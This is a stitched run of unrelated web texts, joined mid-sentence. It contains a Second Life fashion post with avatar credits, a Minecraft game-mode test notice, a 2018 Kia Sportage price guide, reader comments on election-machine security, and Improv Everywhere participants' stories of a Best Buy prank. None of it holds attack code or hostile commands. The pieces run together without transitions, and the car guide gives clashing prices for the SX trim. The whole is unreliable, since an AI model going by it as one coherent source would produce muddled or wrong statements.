That should keep you out of SL jail for a while. The mugshot prop I’m using in this image is from Intrigue Co. currently available at The Arcade Gacha events. You only have a few more days to shop at the Arcade. It closes on July 1st and since it has been open a month now, this would be a great time to go and shop lag free.
The jacket I’m wearing is from Cold Ash currently available at Uber. Please keep in mind that this is a MENS jacket, I just liked the way it looked on my female avatar. It looks big and it has no boobs, but I do like the way it falls on me. If you are looking to get it for your female avatar as well, please make sure to try the DEMO first.
Happy exploring!
Credits:
*Mesh Body: Maitreya Mesh Body – Lara V3.3 by Onyx LeShelle
*Mesh Head: Rowne Mode.Jem Mesh head – SPF25 by Fashionboi Landar (my post)
Body Skin Applier:.: fiore :. Maitreya Mesh Lara Body Appliers by Sanya Bilavio
Body Freckles Applier: Izzie’s – Body Freckles Applier Huds by Izzie Button
*Eyes: IKON Charm Eyes – Hazel by Ikon Innovia
Hair: Dura-Boys&Girls 47(Dark Brown) by chiaki Xue
*Mesh Ears: [MANDALA]STEKING_EARS_Season5 by kikunosuke Eel
*Jacket: ColdAsh FitMESH v1 Size – IRONWASH Jacket by ColdAsh (@ Uber)
*Nosering: Zaara [Goa party] : Baga nosering by Zaara Kohime (@ Arcade)
*Joint: Zaara [Goa party] : Weed Joint by Zaara Kohime (@ Arcade)
Rings: Izzie’s – *resize* Celestial Midi Rings R silver (Maitreya) by Izzie Button
*Pose+Prop: Intrigue Co. – Most Wanted: Skybox Hermit by Katharine McGinnis (@ Arcade)
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Like this: Like Loading...Alpha Testing
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There has also been a game-wide reset because we have significantly changed the balancing in the game and we must evaluate our current balance. This may NOT be the last wipe so if you don't like being reset please do not participate in this game until the full release.
Most importantly HAVE FUN!
When in Rogue will eventually be opened to all premium members, however we plan to spend the next few weeks adding a plethora of content to the game. Unfortunately, When in Rogue will never be a public game mode due to the cost of hosting it due to its sheer complexity. While the mode will require premium to play, we hope it will offer hundreds of hours of gameplay to compliment the other content already available with a Shotbow premium membership. While we always wanted to make this a public game mode, it is far too intensive to support on a public basis with Mojang's new EULA changes. We deeply apologize for the inconvenience.
All When in Rogue testers that beat Normal, Hardcore, and Ironman difficulty on the stronghold and jungle themes by Sunday, July 6th will be entered into a contest to win a Minecon 2013 cape. Good luck!Let’s check how much does the 2018 Kia Sportage cost in the U.S.!
When Kia launched the fully redesigned Sportage crossover vehicle two years ago, there was a lot of interest generated in the new design.
But for many, the excitement only really gets to fever pitch once they know how much it’s going to cost to get behind the wheel.
We can now reveal the 2018 Kia Sportage MSRP by trim level, so let’s take a look at the breakdown.
In the US-market, there are 3 unique Sportage trim levels available, all of which come with a rather impressive array of standard safety and convenience features, which we will discuss later.
For now, let’s take a quick look at the new Sportage prices based on the trim level, after which we will dig a little deeper into what you get for those prices.
Pricing guide by Sportage trim level (2018)
Sportage LX FWD … $23,500
Sportage LX AWD … $25,000
Sportage EX FWD … $26,300
Sportage EX AWD … $27,800
Sportage SX turbo FWD … $32,800
Sportage SX turbo AWD … $34,300
The Manufacturer’s Suggested Retail Price (MSRP) of the 2018 Kia Sportage LX with front-wheel-drive is $23,500, while the AWD starts at $25,000.
The LX model serves as the base model in the range, and comes with a 2,4L engine that cranks out 181-horsepower.
Optional packages on LX trim
The LX Popular Package comes in at $1,200, and includes 10-way power adjustable driver’s seat, windshield wiper de-icer, heated front seats and exterior mirrors, and upgraded tricot cloth seat trim.
The Sportage LX Cool and Connected package costs $900 adds the UVO infotainment system that features Apple CarPlay and Android Auto, as well as dual-zone automatic climate control.
EX trim level
Kia Sportage EX FWD price starts at $26,300, while the all-wheel-drive model costs $27,800.
You get all the features found in the LX Cool and Connected package as standard, as well as leather seats, fog lights, and push button smart with smart key.
It features 18-inch alloys, as well as a 2.4-liter engine mated to a 6-speed automatic transmission.
Optional packages on EX trim
The EX Premium Package ($2,100) adds a number of driver assist technologies, as well as a panoramic sunroof, LED lighting and turn signals, and auto-dimming rearview mirror with HomeLink.
The $2,700 Technology package adds a killer Harmon Kardon sound system, ventilated front seats, and a stunning array of driver assist technologies such as Smart Power Liftgate, High Beam Assist, Front Collision Warning System, and many more.
Range-topping SX Turbo
There really isn’t any need to add any packages to the top-of-the-range SX trim, as this one comes with all the features mentioned in the packages available for the other trim levels.
As well as all of those features, your $32,700 (FWD) or $34,200 (AWD) also gets you skid plates in front and back, bi-xenon HID headlight with Dynamic Bending lights, paddle shifters, a unique grill design, and more.
The engine on the fully loaded 2018 Kia Sportage SX is a 2,0L T-GDI turbo which delivers 240 horsepower.
For all the latest Kia news articles and information about the MSRP of the 2018 Sportage crossover, stay tuned to Kia-world blog.READER COMMENTS ON
"UNAIRED NETWORK VIDEO: Election Director Storms off When Questioned About Diebold"
(35 Responses so far...)
COMMENT #1 [Permalink]
... breagerey said on 11/11/2008 @ 4:09 pm PT...
sad
you can't put people in charge of this stuff that don't understand it; it just wont work.
EVER. Source code irrelevent???
COMMENT #2 [Permalink]
... Paul said on 11/11/2008 @ 4:19 pm PT...
Stalin lives! Taxpayers just pay Lamone's salary - It's not like she actually works for the people. We should trust or government officials as they trust the private voting machine vendors. Those who count the votes really do decide everything - including when to end the interview!
COMMENT #3 [Permalink]
... leftisbest said on 11/11/2008 @ 4:30 pm PT...
Lamone looks VERY uncomfortable about being asked ANYTHING that gets to the heart of the matter. Reminds me of a professor or an elected official who puts herself far above the pesky lowly "peons" who have the nerve to ask questions. She is either in bed with Diebold (Premier!) or just doesn't want to let the truth out, or just doesn't know. All scenarios are frightening. She claims great comfort with the scandal-wracked ITA system. I guess she thinks we're all morons drinking her Kool-Aid!
COMMENT #4 [Permalink]
... slapbangwallah said on 11/11/2008 @ 4:35 pm PT...
That's a really interesting point...these run on the executable code and therefore the source code is not available to them. So, the question is, "Who provides the executable code? Diebold? The Republican party?" These machines are computers. Come on, people, have you ever used a computer? You're using one now. Computers are dumb. They have to be told what to do. Have you ever pressed the icon for Internet Explorer and Firefox comes up instead? I don't think so. I would love to know the real numbers for our recent election. The landslide must have been tremendous to counteract the "executable code."
COMMENT #5 [Permalink]
... Jim Gardner said on 11/11/2008 @ 6:42 pm PT...
The woman being interviewed doesn't know how software works. The binary executables might as well be made from cake for all they tell you about the source code that compiled them. If the source code tells the executable to ignore every other vote for X nothing in the executable code (what ever that means) would tell anyone anything at all about it. I'd say it's a fair bet that Obama won considerably more votes if any of these tainted machines were used in the 2008 election.
COMMENT #6 [Permalink]
... Lora said on 11/11/2008 @ 7:33 pm PT...
That was a very interesting video. Watching Lamone was a learning experience. Lamone did not want to have her faith in the integrity of the source code shaken. It was about to be. At one point she looked like she was going to cry, when she twisted her head away and vehemently refused to entertain any doubt about the source code. If she had used the brains in her head, I believe she would have had to entertain the doubts that the reporter was raising. If she kept listening to the reporter's questions, her brain would have had no choice but to work. Rather than that, she simply ended the interview. Brainwashing is a powerful tool. Self-brainwashing is even more powerful, I'm guessing.
COMMENT #7 [Permalink]
... Chris said on 11/11/2008 @ 9:05 pm PT...
I think she is right. You test executable code not read source code to confirm the system is working right. But... I would much prefer a tablet computer with touch screen ballot that prints a completed paper ballot that is read by an optical scanning system. I would also like to be able to add an identifying code to my voted ballot and have each printed ballot add a unique key which allows me to confirm my vote from a web site tied to the voting database. After the election I could see how my vote was counted by entering the unique key and the website would return how I voted and my added identifying code. No else would know my identifying code or the unique key.
COMMENT #8 [Permalink]
... Phil said on 11/11/2008 @ 9:33 pm PT...
I find it fascinating listening to officials answer questions like these, It's a predictable pattern how they do the blame shifting game, oh the EAC and NIST, the Escrow, the this the that.
I remember the videos (there were quite a few) where Bowen had public comments, each time an election integrity person would come up their question about the machines were shown to be focused yet never answered.
Yet (almost) every time we'd hear an election judge this same pattern in these videos is followed, along with complaints about how it would be too expensive to use paper pencils and people instead of electronics. Then we could visit say BlackBoxVoting.Org and find the interesting video about the construction workers who started digging into King Co., Washington elections and found all kinds of bad stuff going on behind the scenes. Lots of agencies, lots of red tape, even changes in the law to hide stuff. That regular Americans can and do show these technologies are vulnerable in cases, unvalidatable in cases, and even illegal in cases, is amazing in an of itself, but when these same regular Americans try to stop these activities they are met with locked doors, armed law enforcement, un-returned calls, monetary barriers, backdoor legislation, crammed legislation, bad legislation, blackouts in media, and a cold shoulder from most representatives, hardly any punishment for crimes or worse punishment of the wrong people for exposing and whistleblowing. Even their websites are designed to not be friendly to feedback. (A complaint I have had which I have not heard around here) Forcing issues to be classified under pre meditated drop down lists, automated replies, no replies, bad searching / grep tools, proprietary formatted pdf's, doc's, which are not listed in searches, numeric coded documents vs. plain english filenames, etc. You literally have to download every document to find what your after sometimes. Some of this is not possible on a modem. I was just talking about government websites, should we look at the errors on Diebold's own website? I ain't even going to bother to look that up, you can find in the vast pile here on bradblog somewhere. Which is another thing back to government websites again. The data involved in this since these horrid machines were introduced has multiplied insanely, it's not even proportional to growth for example on my own Secretary of State website ss.ca.gov, where "other business" was most of the website, now I would have to bet that electronic voting machine problems are the most of the website. If these machines were outlawed nationally, all of that legal, technical, research, security crap could be deleted, and the people could again focus on "other business." Add in monetary barriers, non disclosure agreements, legal expenses, the lies, the media spin. (Just when you think the media are going to crack open this pandora's box, they stab us in the back again, under reporting, misreporting, outright lies, and blacklisting topics.) And finally add in fast-tracking of the swearing in process via jet aircraft, recounts that are aborted, meaningless recounts, expensive recounts, candidates that quit, recounts that prove the wrong candidate is in office but no action is taken, no legislation or law to do the right thing and remove that person, jurisdiction problems, and the plethora of nonsense laws, terminology, operating procedures, results, feedback paths, each local precinct, state, city, county has across the nation. You'd think these electronic devices would be nationally outlawed by now. Common sense. Instead we get more of them, so I don't think it's their brainpower that is at fault, it's their rubber stamp that this activity is okay, and rarely punished. They knowingly and willingly force voters harshly out into that dark night. But as the video clearly shows, they do not like "shining bright lights." I doubt the interviewee would allow them self to be put into that situation again, I be she even has a security barrier, a phone tag barrier, a automated email barrier, a scheduling barrier, etc. I could be wrong, but I doubt it. Their insolence and arrogance is never punished, in fact they are now masters at manipulating live situations with public citizens into a domestic terror threats. You can't ask a question when your locked up in solitary. They also use timing as a weapon. examples are: Which day what document get's released. Which day laws take effect, which days things happen. It's all control. And we are at a disadvantage. They have pre-planned this, we always react after it's too late.
COMMENT #9 [Permalink]
... Phil said on 11/11/2008 @ 9:50 pm PT...
On a much much deeper level, technically what she said could be interpreted as correct e.g., "who care's about the source code" She just didn't fill in the rest... THE CHIPS CAN BE SPECIALLY CRAFTED BY THE MANUFACTURER AT THE DOPING LEVEL!!! WHAT THE DATA BOOK SAY'S ABOUT THE SPECIFIC PART NUMBER AND THE ACTUAL LOGIC INSIDE **CAN BE DIFFERENT** How are YOU going to test every semi-conductor device at that level that without destroying the device itself!? But the programming part of me also can say, "BS."
That lady probably don't even know html for god sake. Let alone what ASM is. And when you get to that level we are back at LOGIC again and back to electronic signals again which are PHYSICALLY INVISIBLE. (Common sense physics 101.) Being invisible, no public oversight is possible, (Sorry for the second post, I was going to say that big block of bold wasn't supposed to be bold, but like usual my mind wanders when I hear such arrogance.)
COMMENT #10 [Permalink]
... Phil said on 11/11/2008 @ 9:51 pm PT...
Oh god I Left an open bold TAG again CRAP!!! This post CLOSES THEM {Ed Note - No, it didn't. But I did it for ya, Phil. You're welcome --- BF}
COMMENT #11 [Permalink]
... the zapkitty said on 11/11/2008 @ 10:11 pm PT...
... Chris said in comment #7... "I think she is right." Then you are wrong. "You test executable code not read source code to confirm the system is working right." Wrong. You must have the source code, the exact build environment, and the exact same compiled executables using that build environment running in the machines used for voting... and you can't be sure. And electronic voting machines (evms) labor under an additional requirement not found in ordinary applications in that the input must not be able to be matched against the output i.e. the voter must not be able to be connected to their vote... both to protect the vote and to protect the voter. The source code is hundreds of thousands to millions of lines of code, depending on the evm... and Windows, that paragon of security, adds millions of more lines of hiding places. And Clint Curtis, Ed Felten etc etc rigged vote-flipping programs in just a couple of dozen extra lines of code. The build environment... the compiler and machine and exact settings used... these also must be verified identical in all cases... because there are clever hacks that can cause the source code to compile apparently clean on a certain test machine and yet compile with malicious code under different conditions. As for just testing the binaries themselves... all you know to test is what the people who sold you the binary told you to test. You can try to probe for built-in weaknesses... but where to start? And perhaps more importantly... where to end? In the end you wind up effectively reverse-engineering the source code... which is VERBOTEN! And even if you had source, build environment, and compiled binaries under some fantastical control regime (and I literally mean fantastic) even then it all goes out the window when somebody sticks the first memory card in. Hint: Lamone does not utilize any control regime... much less a fantastic one. Control is held, in ascending order of authority, by the voters, by the polling station pets, by the election bureaucrats, by the polling station techs, by the evm corporations, and above them all... by whoever had access to the system last (directly or indirectly.) "But... I would much prefer a tablet computer with touch screen ballot that prints a completed paper ballot" This is workable, it still exposes the disabled to the malware hazards already discussed, but there's currently no real solution to that. " that is read by an optical scanning system." You are aware, are you not, that optical scanners were the first evm's to be publicly hacked in tests? "I would also like to be able to add an identifying code to my voted ballot And this again... you're not the first to venture this, and you will not be the last to venture this as it seems a simple answer to the problem... but in many ways is the worst possible answer. We, the electorate, cannot allow you to do this because it enables you to sell your vote... whether or not you actually want to sell it. To paraphrase my response to this suggestion in another thread: Because you really, really don't want that... Because you really, really don't want Dick Cheney and every CEO on the planet able to know exactly how you just voted against their best interests. Because you really, really don't want to hear the following: "Nice family you have here. Be sure to drop by my office with your receipt after the election." No. Not unless you're willing to put us and yourself and your loved ones at risk. "No else would know my identifying code or the unique key." Until sufficient pressure is brought to bear....
COMMENT #12 [Permalink]
... Kira said on 11/11/2008 @ 10:46 pm PT...
Does anyone have a complete list of Diebold Lobbyists and their connections to Elections officials / Secretaries of State? Betcha that would be enlightening. I noticed this post: ECOALEX said “I stoped voting at my precint Mt Ranch, because they segregate the voters by party affiliation..” Let's say they program one set of memory cards for Democrats and the other set for republicans. If so inclined a poll worker or elections official could pocket one or two here & there. Unless there's a checks & balances procedure on the memory cards...
COMMENT #13 [Permalink]
... Bamboo Harvester said on 11/12/2008 @ 12:35 am PT...
OK... Then Let's have a gander at the Executable Code!
~
COMMENT #14 [Permalink]
... Bamboo Harvester said on 11/12/2008 @ 12:45 am PT...
Wilbburrr... ~ The executable code may actually be more interesting as long as it's the real McCoy in all.
COMMENT #15 [Permalink]
... czaragorn said on 11/12/2008 @ 3:06 am PT...
Disgusting. She reminds me of Czech bureaucrats and politicians, who think they're the bosses. She needs ner memory refreshed: she works for the taxpayers and is 100% answerable to them. Her behavior in this "interview" should disqualify her from ever holding another position as a public servant. It's sick, how far down from its head the fish has rotted. Even that video clip gives off a vile odor...
COMMENT #16 [Permalink]
... Floridiot said on 11/12/2008 @ 4:34 am PT...
I've seen that (or one just like it) before, her politburo handler didn't want her answering more questions
...did you see that look over her shoulder? She actually started getting nervous.
I even remember at the time asking who was she looking at before she ended the interview.
COMMENT #17 [Permalink]
... Floridiot said on 11/12/2008 @ 6:
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point of the manager Al (yellow shirt), and his manager Rick (white shirt.) As I stood with my back to the display case and arms behind me, Al first approached me within 30 seconds and asked if I needed any help. I asked him where the bathrooms were (I was actually needing to go), but he told me they were out of order. I said, “Alright, I’ll just wait for my girlfriend then. She’s looking for the bathroom. I guess I might be here awhile.” Five minutes later Rick came by and asked me pointedly, “What’s going on? What are you and your buddies doing?” I, flabbergasted, told him kindly I was waiting for the bathrooms to be fixed. And he, not believing me, asked me to leave and said he’s calling the police and then stormed off. I said ok and just went to another section.
In this section, Al approached me twice asking me if I needed help. I assured him, if I did indeed need help, I knew to come find him. And then he asked me if I had a child at home, and if I knew any children. Curious about his line of questioning, I asked him what he was getting at. He said he noticed that I was in the children’s section for a long time and it was making him uncomfortable. Not wanting to make him or any children uncomfortable, I went back to the speaker section. Rick then came by again said, “I can’t believe you guys are this bored; you better not talk to any of my customers.” I just stared at him with a puzzled look on my face claiming I knew of no others here but my lost girlfriend who I was becoming concerned about. He just walked away in a huff.
A customer did approach me soon after though and asked where the calculators were. I, trying to be helpful, pointed and said I think they are on the other side of the store. As soon as I finished my sentence, the couple says, “Here they are!” That was when I learned I was in the speaker and calculator section of Best Buy. I would not have made a good employee.
About 10 minutes later, I saw Al walking towards me from across the store. Trying to avoid him, I picked up a Best Buy brochure that was at the end of the aisle. I picked it up thinking it was an employment application, and Al asked if I needed any assistance once again. I asked him if they were hiring, nodding towards the brochures. And then we got into an awkward discussion about how it was actually a Best Buy credit card application and I said “it would be good for me if I actually did any shopping here.” He then said, “It looks like a lot of people like you like to shop at this store” as he pointed to all the other blue shirts. All I could muster was, “Yeah… that’s weird.”
Al and Rick finally approached me together towards the end of the mission. Al asked me my name, and I told them it was Al too, and of course they didn’t believe me. Al explained that he was still very uncomfortable with my presence in the store (even in the speaker and calculator section) and wanted to know what I was shopping for. I said, “I’m not shopping for anything. I’m browsing.” And the two looked at me like I was the first person to ever browse a Best Buy aisle with my back to the display cases the whole time. Rick, feeling defeated, said to Al. “You know what Al, just let them have their fun. We can’t do anything.” And as he said that, I got the cue from Agent Todd to exit, and then we all left in a timely manner.
Agent Shelktone
I was lucky to score one of the regulation shirts from Agent Todd. As such, I was one of the first of the blue shirts to enter the store. I didn’t get five steps in before a dude asked me on the elevator, “Where are your land line phones? Are they downstairs?” I said, “Yeah, I think so.” He then asked, “Oh and where are the bathrooms?” I said sheepishly, “Oh I don’t actually work here.” He pointed, “The blue shirt.” I shrugged and said, “Oh right.”
Then downstairs very quickly the real boys in blue started to notice the mass influx of recreational blue shirters. They responded at first by very deliberately greeting me. “Hello!” “How are you?” Then, they grew more suspicious trying to suss out my level of craziness. “Can I help you with something?” Then to, “Hey, why are you wearing a blue shirt? It’s confusing.” To finally flat out accusation from a yellow shirted higher up, “Hey man, what’s going on? What are you guys going to do?” I explained I was just browsing and had felt like wearing blue today. He didn’t buy it. Two minutes later, I heard one of the dudes say, “I can’t deal with this, I’m calling the police.” To be fair, I think I might have been a little freaked out too. Still, if you were a manager you had to love what appeared to be wall-to-wall employee coverage of the store for every five feet. Now, that’s service!
Agent Montague
I arrive at Best Buy and immediately have the chance to hold the door for a few customers. I step inside, cruise down the escalator, and quickly encounter an annoyed security guard. “May I help you sir?” he asks. “No thanks.” “What’s going on here?” “What do you mean?” I respond. “Is this some sort of event?” “I don’t understand.” “Why are you wearing that?” he presses. “Oh,” I smile, “These are just my clothes.” He shakes his head, and I wander off.
I tour the store and feel pretty good about landing a spot next to the vacuum cleaners. There are no employees in sight. I hover. A 50-something bearded Jewish man makes eye contact, walks toward me, my first customer. “Do you work here?” he asks. “No, I don’t.” He starts looking at vacuum cleaners, not knowing where to start. “What are you looking for?” I ask. “I need a vacuum cleaner,” he says. “I have a Dirt Devil. It works really well, very powerful machine,” I say. “A Dirt Devil. Dirt Devil, OK.” A real employee approaches. “May I help you sir? the employee asks. “Yes, I’d like to buy a Dirt Devil,” the man responds.” I sold my first vacuum cleaner. Damn, it feels good.
Shortly after that, I was asked to leave for not shopping. Instead, I decide to stay. I stroll around the store for awhile, until I overhear an employee say the cops had been called. I casually make a daring escape up the escalator and out the front door. Have a nice day, a large, bald bouncer says in a tough voice as I left.
Agent Jester
I searched frantically the day before the event for a shirt that was perfect color, that “Best Buy Blue.” I found a decent approximation, but I was concerned it was off enough that I wouldn’t fit in well. Nevertheless, I got into my role the second I walked into the store, I went to the video game section, (the section I personally spend the most time in whenever I’m actually shopping at a Best Buy). I leaned against the “discount games” table, crossed my arms and patiently waited for any customers in need. Within 5 minutes an older gentleman approached me, began asking me a question, then paused and looked carefully at my shirt. “Oh, I’m sorry, you don’t work here…” Damn! I was sure now that I wasn’t fooling anyone. I was just a guy who kinda sorta looked like a Best Buy employee. But then, a person playing on the Xbox 360 on display looked over at me and asked me to change games on the system. “Sorry,” I said, with an unusually large smile, “I don’t work here, but maybe I can find someone that can help you. Also, may I recommend `Burnout: Revenge’?” The look on his face showed genuine surprise. “Damn! You really don’t work here?!? Shit, that’s just…confusing.” That’s all I wanted to hear. After that I got asked three times by different people where to go to check out. “Oh, right over there,” I told them, adding: “they should really make that clearer for us, right?”
The rest of my tenure was spent watching other Best Buy employees freak out. They walked past me, usually staring at me, occasionally asking if I needed any assistance. But one guy, “Mike” was his name, made it a point to let us all know he A) knew what was going on, and B) was A.O.K. with it. He walked over to at least five IE Agents and asked them their name, and how it was going, and if they were having a good time. He would then turn to one of the other real Best Buy employees and give a grin, a laugh or a thumbs up to indicate that he had engaged with us, and recognized us as a non-threat. I also saw another employee snapping photos of us with her camera phone.
Agent Wimpy
I was one of the last to enter the store. As I approached I saw two employees smoking at the curb. I glanced at the store door and heard from behind me, “…another one!”
As I entered the upper level at least half the employees in the open display area there turned to look at me. I was thinking, “Wow, a Cheers moment!” I stepped forward intending to go down the escalator and found myself in the roped off area at the top of the up escalator and had to backtrack to get around to the down escalator. I heard several people giggle.
As I came off the down escalator I heard an employee say, “I don’t know but they are stationed around and helping customers.”
After about 15 minutes downstairs I went back up to see how things were on the street level section. As I stood near the digital video cameras a young male employee walked round the display table touching and counting aloud the cameras and an older female employee walked around touching each of the associates on the upper arm and saying, “Keep your cool, just keep your cool.”
I went back downstairs and walked toward the CD section. A short 40ish black woman with dreadlocks pulled back and tied behind her head started following me. We walked the length of the classic music aisle and turned the corner starting back past the country western CDs. She is walking about five feet behind me. I stop and just look across the top of the display toward the escalators. She stands there looking toward me for a few seconds then backtracks and walks up the next aisle directly through my field of vision. She is walking very stiffly with eyes pointed forward avoiding eye contact. At the end of the row she turns the corner back into my aisle again and starts toward me. She takes about two steps directly toward me. When I glance over in her direction I see that she has both her hands together at waist level. From between her hands there is a camera flash. She immediately turned and headed back toward customer service.
Agent Simmons
I was lingering near the audio equipment at one point when a middle-aged couple asked me if I knew the price of some speakers. I looked for a price tag and then read $99.99 labeled on the shelf by the product. I said “$99.99?” Unsure. And they pointed out, “No. That is the price of the wireless speakers”. “Oh”, I said “Maybe it’s been labeled wrong.” The man said, “Well, do you work here?” I said, “No,” but I thought they looked like good speakers. They looked puzzled.
Just then an actual Best Buy floor clerk approached me:
Employee: “You can’t talk to my customers”.
Simmons: “I’m just having a friendly conversation with these people”
Employee: “But you don’t work here.”
Simmons: “It’s a free country I feel I can speak with anybody I choose.”
Employee: “You’re playing some games.”
Simmons: “I’m just here to shop with my wife.”
Employee: “Yeah, you and your 50 friends?”
Simmons: “I don’t know anybody else here.”
Employee: “Yeah, you’re instigating (sic) our shirts.”
Yes, he said INSTIGATING.
I told him, “I’m only wearing what I wore this morning,” and walked away.
A little while later, an older woman with a handful of products walked past me at one point muttering to herself, “Everyone in this goddamned store is wearing a blue shirt and nobody knows a thing!”
Agent Chadwick
Saturday: I entered Conway discount store and spotted a fellow agent surveying the royal blue polo shirts. A funny side effect of this mission, I realized, would be a baffling increase in sales of royal blue polo shirts.
Sunday: Once we got the logistics and the group photos out of the way, Agent Todd situated himself around the corner from the store and waved us in individually to avoid a conspicuous glut of agents entering the store. As soon as I got inside, I overheard two blue-shirted Best Buy employees remark that this was something like “Invasion of the Body Snatchers”. I meandered slowly through the downstairs, putting on a blank stare so as to avoid eye contact with anyone. BB blue-shirts kept coming up to help me–apparently “can I help you?” is the only icebreaker they know, and they just walk away dejectedly if you say no.
A customer in the big-screen TV section asked, redundantly, if he could ask me a question. I admitted I didn’t work there, but offered to help anyway. He wanted to buy a large, flat-screen TV, but didn’t know whether to look at plasma models or LCDs. I told him that plasmas tend to be a lot more expensive and tend to have a limited lifespan (both true, I think?). He thanked me and wandered off with his girlfriend.
A little later, when I was loitering near the computers, a female customer got kind of snappy with me when I couldn’t tell her where the scanners were. I politely let her know that I didn’t work there and she got totally apologetic, like she’d insulted me by assuming I worked at Best Buy. Then an employee approached and asked (of course) if I needed any help. I said no, I was just waiting for my friend. “You mean all of your other friends you’re here with?” No, I said, just my one friend–I think she’s over looking at CDs. “Well, it’s hard to tell with everyone wearing these shirts.” Yeah, I told her, what a weird coincidence! She asked that I refrain from helping any customers and rushed off to ask other IE agents if they needed any help.
As time wore on, I could sense the growing confusion of the BB people–the yellow-shirts were out in force, the black-shirts were on their walkie-talkies. I imagine some off-duty regional manager was receiving a very confused call from BB personnel at this point.
Around 4:45 or so, Agent Todd signaled that it was time to go. On the way out, I saw Agent Shafer getting a talking-to by a cop. He was saying something about “trespassing” which I’m sure was a load of crap, but I figured it was better to leave than test whether that would hold up in court.
Agent Kendall
I got mixed up when buying my polo shirt and bought a Navy Blue one, so I wasn’t an exact match for an employee and was a little dejected when I showed up and was informed of the mission. As I approached the store a passer-by said how he was freaking out about the number of people with blue shirts. When I was cleared by Agent Todd to stagger in, I overheard employees outside smoking that they didn’t know what was going on but it was weird.
It seemed pretty immediate once I entered the store and took the escalator down that the management was freaking out. I overheard a woman first asking an agent what was going on and then discussing it with an employee about how weird it was. People were on their walkie-talkies asking what was going on, saying they were calling the cops, not to let them talk to the customers, etc. After awhile I was glad that I wasn’t a Royal Blue shirt, because although I’m pretty sure the employees knew I was with the group, since I wasn’t wearing the correct color, they couldn’t be 100% sure and I was able to blend in more to observe and listen.
At different times I tried to find a spot that wasn’t around any other agents, but this was impossible. So I mingled. A couple of times it got a little busy around me with employees so I started shopping, picking up a DVD or CD and looking at it. The most anyone said to me was to ask if I needed help, which I didn’t. Later I tried to hang out more near other agents to hear what was going on. Then it seems like every idling agent was being asked to leave so I again started shopping. I then got the cue from Agent Todd to leave the store and meet up a block away to hear the other stories. Now, I think it might be good to buy the right color shirt and go back on my own and shop to see if they think it’s happening again.
Agent Goldman
Some of my favorite quotes when I was in Best Buy:
Lady on a headset: “They’re coming in droves–what do I do?”
A dude walked up to me and said: “Are you guys demonstrating or protesting or something?” I said: “Oh, I’m just waiting for my girlfriend, she’s somewhere around here.” And he says: “So the shirts….?” And I said: “Shirts?” A security guard walked by and said to the dude, “Sir, this man does not even work here, do not ask him questions.”
And finally when I was “escorted” out by a large female manager:
Manager: “What are you doing can I help you?” [very sassy tone]
Me: I’m just waiting for a friend.
Manager: “Oh yeah? Where is your friend? Let’s go find your friend, I want to see him.”
Me: I’m not sure; I think he’s looking at flat-screen TV’s.
Manager: Okay. Either you’re shopping or you’re leaving.
Me: I suppose I’ll leave
Manager: That’s right. And I’m going to escort you out.
Agent Ciletti
I stopped in two stores to kill some time before heading to Best Buy. In West Elm, a chic home furnishings store, a woman flagged me down.
“Excuse miss, do you work here?” she said.
“No, but did you need help with something?” I said.
She started laughing then said, “Well, no, not if you don’t work here.”
I think she thought that I was crazy. After that I went to Staples. A young woman approached me.
“Do you know where I can find those things that hold business cards?” she said. I paused. She waited.
“I don’t work here,” I said.
“Oh, I thought you did,” she said, gesturing wildly to my outfit. “I’m sorry.”
I was about to leave when an old man and a young child approached me. The man was carrying a newspaper. He pointed to it and asked me if I could unlock the cabinet holding the item he needed. We walked over to the cabinet. I told him twice that I didn’t work there, but he just kept saying, “We’ll have to get the key.”
Finally I just walked off and left the store. I headed to Best Buy and once inside I took the escalator downstairs. Several people asked me for help. One man wanted to know about some software and started laughing when I said I didn’t work there. After about 15 minutes I went upstairs and stood by the front door. At this point the managers and security knew something was going on. A girl walked in and approached me.
“Do you know where I can find a USB port?” she said.
“What is that?” I said.
“It’s a computer thing,” she said.
“What does USB stand for?” I asked. She gave me a strange look.
“I don’t know,” she said. “You just plug it in…”
At that point a Best Buy employee wearing a black shirt came running over shouting “She doesn’t work here!” but the girl was already heading down the escalator.
He turned to me and said, “You can’t help her!”
“Oh, believe me,” I said. “I wasn’t helping her.”
“Who are you guys with?” he asked.
Shortly thereafter, I left the store.
Agent DLee
My favorite moment of the day happened within five minutes of entering the store. When I took a very visible (and helpful, I thought!) position near the base of the escalator, I was told by some yellow-shirted security tool with a corporate lackey by his side that I needed to leave the premises. I said sure, and was on my way out, when I was stopped by a guest who needed help finding some PS2 game. And with that, I was back on the job. I walked the guest over to the game section, bullshitted my way through assisting her (“No, that game’s got great graphics. Me? I play it all the time. Oh yeah. Sure. Why not?”), and then took up my new position there…where I remained, until the mass exodus of IE Agents. Next time: We need yellow shirts.
Agent Hamilton
My friend and I took a longer walking route to the Best Buy (at 23rd and 7th) so we could observe fellow agents entering the store. From across the street, it was very funny to watch because anyone would have assumed that the gaggles we kept seeing were actual Best Buy employees and they were on break together or something. We crossed the street and were instructed by Agent Todd when to enter the store. Once we were downstairs on the sales floor, I started seeing more and more blue-shirted people coming down the escalator, to the point where there was an IE agent at the end of every aisle. I decided I needed to walk around the store to get the full effect. I passed a couple of real employees, one of whom was saying “they must have NOTHING BETTER TO DO” and another of whom was saying “I’ma smack them all upside the head, that’ll make `em leave,” which was my first indication that we were in trouble. I started looking around for my friend, who I’d gotten separated from, but couldn’t find him, so finally I perched myself at the end of an aisle and waited. A customer came up to me and asked me where the DVD’s were. I said I didn’t know, because I didn’t work here, and he looked at me weirdly and moved on. I then realized that I was standing in the middle of the DVD section, so I have to think that my “customer” was another undercover IE Agent. Then I started getting approached by managerial types. One manager came up to me and said, “I don’t know what you and all your friends are doing here, but you need to leave.” I said, “What? I’m just waiting for someone, I don’t know…” and the guy goes, “Yeah, yeah, all of you are just ‘waiting for someone.'” Then I was ambushed by two more managers who started barking “Are you purchasing anything ma’am? Are you purchasing anything ma’am?” at me, and escorted me to the escalator, and amid my protests were telling me that I was causing a distraction by being dressed too much like them. This was the rule that they determined I was breaking: causing a distraction by being dressed too much like them. Hilarious.
Outside, I conferred with some other agents who’d been kicked out, one of whom reported that she’d overheard a manager saying, “The police are on their way.” Two minutes later, the police car pulled up. I feel guilty for wasting the time of New York’s Finest with our silly prank where absolutely nothing untoward was going to happen, but I didn’t feel quite as guilty when one of the policemen came up and started being, predictably, a total dick: “This is absolute nonsense. If you go back in there, you’re getting a summons and you’ll be going to jail.” He walked away and an agent said “Okay, so now we’ve established where the line is. You can go in once, but you can’t go in again.” I said, “Are we banned from Best Buy for life?” Everyone shivered. Then, someone else: “Where’s the nearest Blockbuster?”
